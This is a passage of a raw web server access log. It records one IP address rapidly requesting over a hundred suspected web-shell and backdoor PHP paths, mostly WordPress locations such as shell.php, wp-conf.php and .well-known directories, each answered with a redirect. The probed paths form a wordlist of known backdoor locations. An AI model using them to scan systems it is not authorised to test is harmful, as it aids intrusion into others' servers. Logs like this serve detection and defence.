/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:44 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:44 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:44 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:44 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:44 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:45 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:46 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:46 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:46 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:46 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:46 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:47 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:48 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:49 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:49 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:49 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:49 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:49 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:50 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:51 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:51 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:51 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:51 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:51 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:52 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:33:52 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:52 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:52 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:53 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:54 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:54 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:54 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:54 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:54 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:55 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:56 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:57 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:57 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:57 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:57 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:57 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:58 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:59 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:59 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:59 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:59 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:59 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:00 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:00 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:00 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:00 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:00 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:01 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:02 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:02 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:02 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:02 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:02 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" 